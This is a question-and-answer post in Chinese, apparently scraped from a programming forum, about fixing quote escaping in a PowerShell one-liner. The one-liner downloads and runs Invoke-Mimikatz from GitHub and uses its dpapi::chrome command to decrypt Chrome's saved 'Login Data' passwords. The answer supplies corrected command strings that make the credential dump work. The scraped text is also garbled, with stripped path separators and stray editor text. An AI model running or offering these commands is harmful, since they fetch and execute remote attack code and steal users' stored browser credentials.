为什么在mimikatz/kiwi打开chrome数据库"Login Data"时不能处理第一个空格;
?例子:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command "dpapi::chrome /in:"%localappdata%GoogleChromeUser DataDefaultLogin Data""
错误:
Invoke-Mimikatz : A positional parameter cannot be found that accepts argument 'DataDefaultLogin'.
At line:1 char:146
+ ... katz.ps1'); Invoke-Mimikatz -Command "dpapi::chrome /in:"%localappda ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Invoke-Mimikatz], ParameterBindingException
+ FullyQualifiedErrorId : PositionalParameterNotFound,Invoke-Mimikatz
enter code here
如果有人帮忙我会很高兴,我已经试过了。
您需要通过将它们加倍(""
)或用单个`
前缀(PowerShell不关心)来转义字符串参数中的
"
:
"dpapi::chrome /in:""%localappdata%GoogleChromeUser DataDefaultLogin Data"""
# or
"dpapi::chrome /in:`"%localappdata%GoogleChromeUser DataDefaultLogin Data`""